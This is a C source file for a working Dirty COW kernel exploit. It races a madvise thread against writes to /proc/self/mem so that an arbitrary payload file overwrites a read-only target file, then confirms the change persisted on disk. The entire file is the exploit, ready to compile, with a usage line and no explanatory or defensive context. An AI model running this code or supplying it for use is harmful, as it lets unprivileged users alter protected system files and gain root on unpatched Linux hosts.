// dcw_mem.c - Dirty COW via /proc/self/mem write racing madvise thread.
// Works on read-only targets (only needs O_RDONLY to mmap). usage: ./dcw_mem <target> <payloadfile>
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <sched.h>

void *map;
long plen;

void *madviseThread(void *arg) {
    void *maddr = (void*)arg;
    int i;
    for (i = 0; i < 200000000; i++) {
        madvise(maddr, plen, MADV_DONTNEED);
        sched_yield();
    }
    return NULL;
}

int main(int argc, char *argv[]) {
    if (argc < 3) return 1;
    struct stat st;
    int f, fm;
    char *payload;

    FILE *fp = fopen(argv[2], "rb");
    if (!fp) { perror("fopen"); return 1; }
    fseek(fp, 0, SEEK_END); plen = ftell(fp); rewind(fp);
    payload = malloc(plen);
    if (fread(payload, 1, plen, fp) != (size_t)plen) return 1;
    fclose(fp);
    printf("payload %d\n", (int)plen);

    f = open(argv[1], O_RDONLY);
    if (f < 0) { perror("open"); return 1; }
    fstat(f, &st);
    map = mmap(NULL, st.st_size + sizeof(long), PROT_READ, MAP_PRIVATE, f, 0);
    if (map == MAP_FAILED) { perror("mmap"); return 1; }
    printf("mmap %lx\n", (unsigned long)map);

    pthread_t pth;
    pthread_create(&pth, NULL, madviseThread, map);

    fm = open("/proc/self/mem", O_RDWR);
    if (fm < 0) { perror("mem"); return 1; }

    int i, ok = 0;
    for (i = 0; i < 500000; i++) {
        lseek(fm, (off_t)map, SEEK_SET);
        ssize_t w = write(fm, payload, plen);
        (void)w;
        char *b = malloc(plen);
        lseek(f, 0, SEEK_SET);
        ssize_t r = read(f, b, plen);
        if (r == plen && memcmp(b, payload, plen) == 0) { ok = 1; printf("persisted %d\n", i); break; }
        free(b);
        sched_yield();
    }
    printf("verify: %d\n", ok);
    return ok ? 0 : 1;
}
